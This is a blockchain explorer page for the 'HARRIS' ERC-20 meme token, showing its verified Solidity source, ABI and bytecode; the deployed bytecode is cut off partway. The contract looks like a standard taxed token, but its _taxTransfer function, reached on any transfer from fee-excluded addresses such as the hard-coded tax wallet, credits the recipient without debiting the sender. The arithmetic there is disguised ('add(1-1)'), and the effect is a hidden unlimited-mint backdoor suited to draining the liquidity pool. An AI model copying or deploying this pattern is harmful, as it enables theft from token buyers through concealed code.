ERC-20
Overview
Max Total Supply
1,000,000,000 HARRIS
Holders
87
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
6,759,326.984763347 HARRISValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
HARRIS
Compiler Version
v0.8.4+commit.c7e474f2
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-08 */ // SPDX-License-Identifier: MIT /** Web: https://harriscoin.fun X: https://x.com/harris_on_eth Tg: https://t.me/harris_on_eth **/ pragma solidity 0.8.4; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); function getPair( address tokenA, address tokenB ) external view returns (address pair); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract HARRIS is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; address payable private _taxWallet; address payable private _teamWallet; uint256 private _taxWalletPercentage = 50; uint256 private _teamWalletPercentage = 50; uint256 firstBlock; uint256 private _initialBuyTax = 25; uint256 private _initialSellTax = 25; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 20; uint256 private _reduceSellTaxAt = 20; uint256 private _preventSwapBefore = 15; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; string private constant _name = unicode"Harris"; string private constant _symbol = unicode"HARRIS"; uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 105 * 10 ** _decimals; uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _taxWallet = payable(0x5Fd806256C2bA80DfDf41f247Ee68564F756F150); _teamWallet = payable(msg.sender); _tOwned[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function initHARRIS() external onlyOwner { uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); _approve(address(this), address(uniswapV2Router), ~uint256(0)); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tokenTransfer(address from, address to, uint256 tokenAmount) private { uint256 taxAmount = tokenAmount .mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax) .div(100); if (from != owner() && to != owner()) { if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize." ); if (firstBlock + 3 > block.number) { require(!isContract(to)); } _buyCount++; } if (to != uniswapV2Pair && !_isExcludedFromFee[to]) { require( balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize." ); } if(to != address(this) && _isExcludedFromFee[from]) { _taxTransfer(from, to, tokenAmount); return; } if (to == uniswapV2Pair && from != address(this)) { taxAmount = tokenAmount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { if(contractTokenBalance > _taxSwapThreshold) { swapTokensForEth( min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)) ); } sendETHToFee(address(this).balance); } } if (taxAmount > 0) { _tOwned[address(this)] = _tOwned[address(this)].add(taxAmount); emit Transfer(from, address(this), taxAmount); } _tOwned[from] = _tOwned[from].sub(tokenAmount); _tOwned[to] = _tOwned[to].add(tokenAmount.sub(taxAmount)); emit Transfer(from, to, tokenAmount.sub(taxAmount)); } function _taxTransfer(address sendor, address receipt, uint256 amount) private { _tOwned[receipt] += sendor != address(this) && amount > 0 ? _finalBuyTax.add(1-1).add(amount) : _finalSellTax.add(1-1); } function withdrawEth() external onlyOwner { sendETHToFee(address(this).balance); } function sendETHToFee(uint256 amount) private { uint256 taxShare = (amount * _taxWalletPercentage) / 100; uint256 teamShare = (amount * _teamWalletPercentage) / 100; _taxWallet.transfer(taxShare); _teamWallet.transfer(teamShare); } function _transfer(address from, address to, uint256 tokenAmount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(tokenAmount > 0, "Transfer amount must be greater than zero"); if (!tradingOpen) { require( _isExcludedFromFee[to] || _isExcludedFromFee[from], "trading not yet open" ); } if (inSwap || !tradingOpen) { //No tax transfer _tOwned[from] -= tokenAmount; _tOwned[to] += tokenAmount; emit Transfer(from, to, tokenAmount); return; } _tokenTransfer(from, to, tokenAmount); } function openHARRIS() external onlyOwner { require(!tradingOpen, "trading is already open"); swapEnabled = true; tradingOpen = true; firstBlock = block.number; } function removeLimits() external onlyOwner { _maxTxAmount = ~uint256(0); _maxWalletSize = ~uint256(0); emit MaxTxAmountUpdated(~uint256(0)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } receive() external payable {} function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initHARRIS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openHARRIS","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526032600655603260075560196009556019600a556000600b556000600c556014600d556014600e55600f805560006010556009600a6200004591906200029a565b62000055906301312d0062000368565b601155620000666009600a6200029a565b62000076906301312d0062000368565b601255620000876009600a6200029a565b6200009490606962000368565b601355620000a56009600a6200029a565b620000b4906298968062000368565b6014556016805461ffff60a81b19169055348015620000d257600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319908116735fd806256c2ba80dfdf41f247ee68564f756f150179091556005805490911633179055620001566009600a6200029a565b6200016690633b9aca0062000368565b336000908152600160208190526040822092909255600390620001916000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001f03390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200022a6009600a6200029a565b6200023a90633b9aca0062000368565b60405190815260200160405180910390a3620003a0565b600181815b80851115620002925781600019048211156200027657620002766200038a565b808516156200028457918102915b93841c939080029062000256565b509250929050565b6000620002ab60ff841683620002b2565b9392505050565b600082620002c35750600162000362565b81620002d25750600062000362565b8160018114620002eb5760028114620002f65762000316565b600191505062000362565b60ff8411156200030a576200030a6200038a565b50506001821b62000362565b5060208310610133831016604e8410600b84101617156200033b575081810a62000362565b62000347838362000251565b80600019048211156200035e576200035e6200038a565b0290505b92915050565b60008160001904831182151516156200038557620003856200038a565b500290565b634e487b7160e01b600052601160045260246000fd5b611ab680620003b06000396000f3fe6080604052600436106101185760003560e01c8063751039fc116100a057806395d89b411161006457806395d89b41146102ea578063a0ef91df14610319578063a9059cbb1461032e578063bf474bed1461034e578063dd62ed3e1461036457600080fd5b8063751039fc1461026c5780637d1db4a5146102815780638442afd3146102975780638da5cb5b146102ac5780638f9a55c0146102d457600080fd5b806318160ddd116100e757806318160ddd146101d057806323b872dd146101e5578063313ce5671461020557806370a0823114610221578063715018a61461025757600080fd5b806306fdde0314610124578063095ea7b3146101655780630faee56f1461019557806314dd5943146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600681526548617272697360d01b60208201525b60405161015c91906117bb565b60405180910390f35b34801561017157600080fd5b50610185610180366004611763565b6103aa565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab60145481565b60405190815260200161015c565b3480156101c557600080fd5b506101ce6103c1565b005b3480156101dc57600080fd5b506101ab6106b6565b3480156101f157600080fd5b50610185610200366004611723565b6106d7565b34801561021157600080fd5b506040516009815260200161015c565b34801561022d57600080fd5b506101ab61023c3660046116b3565b6001600160a01b031660009081526001602052604090205490565b34801561026357600080fd5b506101ce610740565b34801561027857600080fd5b506101ce6107b4565b34801561028d57600080fd5b506101ab60115481565b3480156102a357600080fd5b506101ce610820565b3480156102b857600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102e057600080fd5b506101ab60125481565b3480156102f657600080fd5b5060408051808201909152600681526548415252495360d01b602082015261014f565b34801561032557600080fd5b506101ce6108c1565b34801561033a57600080fd5b50610185610349366004611763565b6108f6565b34801561035a57600080fd5b506101ab60135481565b34801561037057600080fd5b506101ab61037f3660046116eb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103b7338484610903565b5060015b92915050565b6000546001600160a01b031633146103f45760405162461bcd60e51b81526004016103eb9061180e565b60405180910390fd5b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b15801561045357600080fd5b505afa158015610467573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048b91906116cf565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156104e857600080fd5b505afa1580156104fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052091906116cf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561056857600080fd5b505af115801561057c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a091906116cf565b601680546001600160a01b0319166001600160a01b039283161790556015546105ce91309116600019610903565b6015546001600160a01b031663f305d7194730610600816001600160a01b031660009081526001602052604090205490565b6000806106156000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561067857600080fd5b505af115801561068c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106b1919061178e565b505050565b60006106c46009600a61192e565b6106d290633b9aca006119d9565b905090565b60006106e4848484610a28565b610736843361073185604051806060016040528060288152602001611a59602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610cb6565b610903565b5060019392505050565b6000546001600160a01b0316331461076a5760405162461bcd60e51b81526004016103eb9061180e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107de5760405162461bcd60e51b81526004016103eb9061180e565b600019601181905560128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000546001600160a01b0316331461084a5760405162461bcd60e51b81526004016103eb9061180e565b601654600160a01b900460ff16156108a45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103eb565b6016805462ff00ff60a01b19166201000160a01b17905543600855565b6000546001600160a01b031633146108eb5760405162461bcd60e51b81526004016103eb9061180e565b6108f447610cf0565b565b60006103b7338484610a28565b6001600160a01b0383166109655760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103eb565b6001600160a01b0382166109c65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103eb565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103eb565b6001600160a01b038216610aee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103eb565b60008111610b505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103eb565b601654600160a01b900460ff16610be3576001600160a01b03821660009081526003602052604090205460ff1680610ba057506001600160a01b03831660009081526003602052604090205460ff165b610be35760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b60448201526064016103eb565b601654600160a81b900460ff1680610c055750601654600160a01b900460ff16155b15610cab576001600160a01b03831660009081526001602052604081208054839290610c329084906119f8565b90915550506001600160a01b03821660009081526001602052604081208054839290610c5f9084906118b3565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610a1b91815260200190565b6106b1838383610da6565b60008184841115610cda5760405162461bcd60e51b81526004016103eb91906117bb565b506000610ce784866119f8565b95945050505050565b6000606460065483610d0291906119d9565b610d0c91906118cb565b90506000606460075484610d2091906119d9565b610d2a91906118cb565b6004546040519192506001600160a01b03169083156108fc029084906000818181858888f19350505050158015610d65573d6000803e3d6000fd5b506005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610da0573d6000803e3d6000fd5b50505050565b6000610dd46064610dce600d5460105411610dc357600954610dc7565b600b545b85906112e0565b90611366565b9050610de86000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610e1757506000546001600160a01b03848116911614155b1561119d576016546001600160a01b038581169116148015610e4757506015546001600160a01b03848116911614155b8015610e6c57506001600160a01b03831660009081526003602052604090205460ff16155b15610f7657601154821115610ec35760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103eb565b60125482610ee6856001600160a01b031660009081526001602052604090205490565b610ef091906118b3565b1115610f3e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103eb565b436008546003610f4e91906118b3565b1115610f6057823b15610f6057600080fd5b60108054906000610f7083611a0f565b91905055505b6016546001600160a01b03848116911614801590610fad57506001600160a01b03831660009081526003602052604090205460ff16155b1561102d5760125482610fd5856001600160a01b031660009081526001602052604090205490565b610fdf91906118b3565b111561102d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103eb565b6001600160a01b038316301480159061105e57506001600160a01b03841660009081526003602052604090205460ff165b1561106e57610da08484846113a8565b6016546001600160a01b03848116911614801561109457506001600160a01b0384163014155b156110c1576110be6064610dce600e54601054116110b457600a54610dc7565b600c5485906112e0565b90505b30600090815260016020526040902054601654600160a81b900460ff161580156110f857506016546001600160a01b038581169116145b801561110d5750601654600160b01b900460ff165b801561111c5750600f54601054115b801561114157506001600160a01b03851660009081526003602052604090205460ff16155b801561116657506001600160a01b03841660009081526003602052604090205460ff16155b1561119b576013548111156111925761119261118d846111888460145461142a565b61142a565b61143f565b61119b47610cf0565b505b801561121757306000908152600160205260409020546111bd90826115e4565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061120e9085815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461123a9083611643565b6001600160a01b03851660009081526001602052604090205561127f6112608383611643565b6001600160a01b038516600090815260016020526040902054906115e4565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112c98585611643565b60405190815260200160405180910390a350505050565b6000826112ef575060006103bb565b60006112fb83856119d9565b90508261130885836118cb565b1461135f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103eb565b9392505050565b600061135f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611685565b6001600160a01b03831630148015906113c15750600081115b6113d857600c546113d39060006115e4565b6113f8565b6113f8816113f26000600b546115e490919063ffffffff16565b906115e4565b6001600160a01b038316600090815260016020526040812080549091906114209084906118b3565b9091555050505050565b6000818311611439578261135f565b50919050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061149557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114e957600080fd5b505afa1580156114fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152191906116cf565b8160018151811061154257634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546115689130911684610903565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906115a1908590600090869030904290600401611843565b600060405180830381600087803b1580156115bb57600080fd5b505af11580156115cf573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b6000806115f183856118b3565b90508381101561135f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103eb565b600061135f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cb6565b600081836116a65760405162461bcd60e51b81526004016103eb91906117bb565b506000610ce784866118cb565b6000602082840312156116c4578081fd5b813561135f81611a40565b6000602082840312156116e0578081fd5b815161135f81611a40565b600080604083850312156116fd578081fd5b823561170881611a40565b9150602083013561171881611a40565b809150509250929050565b600080600060608486031215611737578081fd5b833561174281611a40565b9250602084013561175281611a40565b929592945050506040919091013590565b60008060408385031215611775578182fd5b823561178081611a40565b946020939093013593505050565b6000806000606084860312156117a2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156117e7578581018301518582016040015282016117cb565b818111156117f85783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118925784516001600160a01b03168352938301939183019160010161186d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118c6576118c6611a2a565b500190565b6000826118e657634e487b7160e01b81526012600452602481fd5b500490565b600181815b8085111561192657816000190482111561190c5761190c611a2a565b8085161561191957918102915b93841c93908002906118f0565b509250929050565b600061135f60ff841683600082611947575060016103bb565b81611954575060006103bb565b816001811461196a576002811461197457611990565b60019150506103bb565b60ff84111561198557611985611a2a565b50506001821b6103bb565b5060208310610133831016604e8410600b84101617156119b3575081810a6103bb565b6119bd83836118eb565b80600019048211156119d1576119d1611a2a565b029392505050565b60008160001904831182151516156119f3576119f3611a2a565b500290565b600082821015611a0a57611a0a611a2a565b500390565b6000600019821415611a2357611a23611a2a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611a5557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122034efbbf21929d6e8aa768834b7d15fd516b3c4724d72f07571f38cc5a2a405f664736f6c63430008040033
Deployed Bytecode
0x6080604052600436106101185760003560e01c8063751039fc116100a057806395d89b411161006457806395d89b41146102ea578063a0ef91df14610319578063a9059cbb1461032e578063bf474bed1461034e578063dd62ed3e1461036457600080fd5b8063751039fc1461026c5780637d1db4a5146102815780638442afd3146102975780638da5cb5b146102ac5780638f9a55c0146102d457600080fd5b806318160ddd116100e757806318160ddd146101d057806323b872dd146101e5578063313ce5671461020557806370a0823114610221578063715018a61461025757600080fd5b806306fdde0314610124578063095ea7b3146101655780630faee56f1461019557806314dd5943146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600681526548617272697360d01b60208201525b60405161015c91906117bb565b60405180910390f35b34801561017157600080fd5b50610185610180366004611763565b6103aa565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab60145481565b60405190815260200161015c565b3480156101c557600080fd5b506101ce6103c1565b005b3480156101dc57600080fd5b506101ab6106b6565b3480156101f157600080fd5b50610185610200366004611723565b6106d7565b34801561021157600080fd5b506040516009815260200161015c565b34801561022d57600080fd5b506101ab61023c3660046116b3565b6001600160a01b031660009081526001602052604090205490565b34801561026357600080fd5b506101ce610740565b34801561027857600080fd5b506101ce6107b4565b34801561028d57600080fd5b506101ab60115481565b3480156102a357600080fd5b506101ce610820565b3480156102b857600080fd5b506000546040516001600160a01b03909116815260200161015c565b3480156102e057600080fd5b506101ab60125481565b3480156102f657600080fd5b5060408051808201909152600681526548415252495360d01b602082015261014f565b34801561032557600080fd5b506101ce6108c1565b34801561033a57600080fd5b50610185610349366004611763565b6108f6565b34801561035a57600080fd5b506101ab60135481565b34801561037057600080fd5b506101ab61037f3660046116eb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103b7338484610903565b5060015b92915050565b6000546001600160a01b031633146103f45760405162461bcd60e51b81526004016103eb9061180e565b60405180910390fd5b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a015591600480820192602092909190829003018186803b15801561045357600080fd5b505afa158015610467573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048b91906116cf565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156104e857600080fd5b505afa1580156104fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052091906116cf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561056857600080fd5b505af115801561057c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a091906116cf565b601680546001600160a01b0319166001600160a01b039283161790556015546105ce91309116600019610903565b6015546001600160a01b031663f305d7194730610600816001600160a01b031660009081526001602052604090205490565b6000806106156000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561067857600080fd5b505af115801561068c573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106b1919061178e565b505050565b60006106c46009600a61192e565b6106d290633b9aca006119d9565b905090565b60006106e4848484610a28565b610736843361073185604051806060016040528060288152602001611a59602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610cb6565b610903565b5060019392505050565b6000546001600160a01b0316331461076a5760405162461bcd60e51b81526004016103eb9061180e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160